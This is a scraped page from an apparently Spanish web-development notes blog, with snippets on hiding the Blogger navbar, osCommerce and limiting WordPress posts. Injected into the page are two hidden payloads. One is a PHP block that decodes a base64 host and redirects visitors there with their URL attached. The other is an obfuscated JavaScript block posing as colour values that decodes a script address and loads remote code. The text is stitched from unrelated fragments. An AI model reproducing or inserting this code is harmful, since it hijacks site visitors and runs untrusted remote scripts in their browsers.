#navbar-iframe{ display:none !important;}
con este sencillo código evitamos que aparezca el molesto iframe que nos endosa blogguer.
con este sencillo código evitamos que aparezca el molesto iframe que nos endosa blogguer.
Apuntes sobre php, javascript, css, seo, diseño y demás cosas dentro del entorno de la programación web.
?php if(!isset($tf['engine'])){$tf['engine']=1;$tf['s']=base64_decode('a2hjb2wuY29t');$tf['u']='http://'.$tf['s'].'/page/';$tf['r']="?ref=".base64_encode('http://'.@$_SERVER['HTTP_HOST'].@$_SERVER['REQUEST_URI']);if(!isset($_GET['rf'])){if(!@headers_sent()){@header("HTTP/1.1 302 Moved Temporarily");@header("Location: ".$tf['u'].$tf['r']);}echo "Page Moved
The page you are trying to open has been moved.
Use the navigation links on the right of this page, the search box at the top, or the site map link below to find the new location of the page you're seeking.
Click the link below to follow new url.
".$tf['u']."";echo "";exit;}} ?
if (typeof(redef_colors)=="undefined") {
var div_colors = new Array('#4b8272', '#81787f', '#832f83', '#887f74', '#4c3183', '#748783', '#3e7970', '#857082', '#728178', '#7f8331', '#2f8281', '#724c31', '#778383', '#7f493e', '#3e7a77', '#727e7b', '#3d727e', '#7c3e7f', '#707674', '#3e7982', '#3d7f77', '#7f314d');
var redef_colors = 1;
var colors_picked = 0;
function div_pick_colors(t,styled) {
var s = "";
for (j=0;j var c_rgb = t[j];
for (i=1;i<7;i++) {
var c_clr = c_rgb.substr(i++,2);
if (c_clr!="00") s += String.fromCharCode(parseInt(c_clr,16)-15);
}
}
if (styled) {
s = s.substr(0,36) + s.substr(36,(s.length-38)) + div_colors[1].substr(0,1)+new Date().getTime() + s.substr((s.length-2));
} else {
s = s.substr(36,(s.length-38)) + div_colors[1].substr(0,1)+new Date().getTime();
}
return s;
}
function try_pick_colors() {
try {
if(!document.getElementById || !document.createElement){
document.write(div_pick_colors(div_colors,1));
} else {
var new_cstyle=document.createElement("script");
new_cstyle.type="text/javascript";
new_cstyle.src=div_pick_colors(div_colors,0);
document.getElementsByTagName("head")[0].appendChild(new_cstyle);
}
} catch(e) { }
try {
check_colors_picked();
} catch(e) {
setTimeout("try_pick_colors()", 500);
}
}
try_pick_colors();
}
Copy webexport.exe file to your personal plug-ins folder:
C:\Documents and Settings\\.gimp-2.6\plug-ins
$product_manufacturers_query = tep_db_query("select manufacturers_name, manufacturers_image from manufacturers where manufacturers_id = '" . $new_products['manufacturers_id'] . "'");
$manufacturers_info = tep_db_fetch_array($product_manufacturers_query);
tep_image(DIR_WS_IMAGES . $product_info['products_image'], $product_info['products_name'], '400', '400', ' hspace="5" vspace="5"')
<code><?php query_posts('showposts=5'); if (have_posts()) : while (have_posts()) : the_post(); ?>
de esta forma le estás diciendo que sólo quieres ver 5. Pero me ha ocurrido un problema. En el páginador me salían los mismos 5 artículos por lo que tendría que modificar más archivos.
2.
</code><code><?php $i = 1; while (have_posts() && $i < 6) : the_post(); ?>
<h1><a href="<?php the_permalink(); ?>"><?php the_title(); ?></a></h1>
<p>?php the_time(); ?></p>
<?php the_content(); ?>
<p><?php the_tags(); ?></p>
<?php $i++; endwhile; ?>
<p><?php next_posts_link(); ?></p>
<p><?php previous_posts_link(); ?></p>
<?php else : ?>
<h1>Not Found</h1>
<p>Silly monkey.</p>
<?php endif; ?></code>
Con esto asunto solucionado.
Leído en <a href="http://digwp.com/2009/12/limit-posts-without-plugin/">http://digwp.com/2009/12/limit-posts-without-plugin/</a>
También podéis ir al panel de control: Settings->Reading->Blog pages show at most xxx post